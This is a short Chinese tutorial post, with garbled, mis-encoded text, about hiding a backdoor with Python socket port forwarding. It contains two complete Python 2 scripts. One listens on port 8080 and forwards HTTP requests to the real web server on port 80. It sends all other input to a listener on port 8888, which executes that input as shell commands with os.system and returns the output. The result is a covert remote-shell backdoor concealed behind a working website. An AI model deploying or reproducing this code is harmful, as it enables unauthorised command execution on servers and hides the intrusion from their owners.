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思想:
用戶正常瀏覽器訪問請求通過8080端口,請求若為http請求,則正常轉(zhuǎn)發(fā)到80端口保證網(wǎng)站正常運行。否則轉(zhuǎn)發(fā)到8888端口執(zhí)行系統(tǒng)命令。
8888端口監(jiān)聽代碼:
#!/usr/bin/env python from socket import * import os HOST='127.0.0.1' PORT=8888 BUFSIZE=1024 ADDR=(HOST,PORT) tcpSerSock = socket(AF_INET,SOCK_STREAM) tcpSerSock.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcpSerSock.bind(ADDR) tcpSerSock.listen(5) while True: print("waiting for connection...") tcpCliSock,addr = tcpSerSock.accept() print("...connected from:",addr) while True: data=tcpCliSock.recv(BUFSIZE) if not data: break info = data.split('\n') command = info[0] try: os.system(command + " > command.txt"); file = open('command.txt') data ="" for line in file: data=data+line; tcpCliSock.send(data) except Exception: tcpCliSock.send("Nothing to do") tcpCliSock.close() tcpSerSock.close()
8080端口轉(zhuǎn)發(fā)代碼:
#!/usr/bin/python from socket import * tcp1 = socket(AF_INET,SOCK_STREAM) tcp1.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp1.bind(('0.0.0.0',8080)) tcp1.listen(10) BUFFER_SIZE=2048 tcpCliSock,addr = tcp1.accept() while True: data = tcpCliSock.recv(BUFFER_SIZE) if 'HTTP' in data: tcp3 = socket(AF_INET,SOCK_STREAM) tcp3.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp3.connect(('127.0.0.1',80)) tcp3.send(data) htmlinfo = tcp3.recv(2048) if not htmlinfo: tcp3.close() else: tcpCliSock.send(htmlinfo) else: tcp2 = socket(AF_INET,SOCK_STREAM) tcp2.setsockopt(SOL_SOCKET,SO_REUSEADDR,1) tcp2.connect(('127.0.0.1',8888)) data = data.replace("\n"," ") print data tcp2.send(data) commandinfo = tcp2.recv(1024) tcpCliSock.send(commandinfo) tcp2.close() tcpCliSock.close() tcp1.close()
有些地方還有些小問題等待修正,但是linux下是可以完美運行的。歡迎學(xué)習(xí)交流。
以上這篇python基于socket進(jìn)行端口轉(zhuǎn)發(fā)實現(xiàn)后門隱藏的示例就是小編分享給大家的全部內(nèi)容了,希望能給大家一個參考,也希望大家多多支持億速云。
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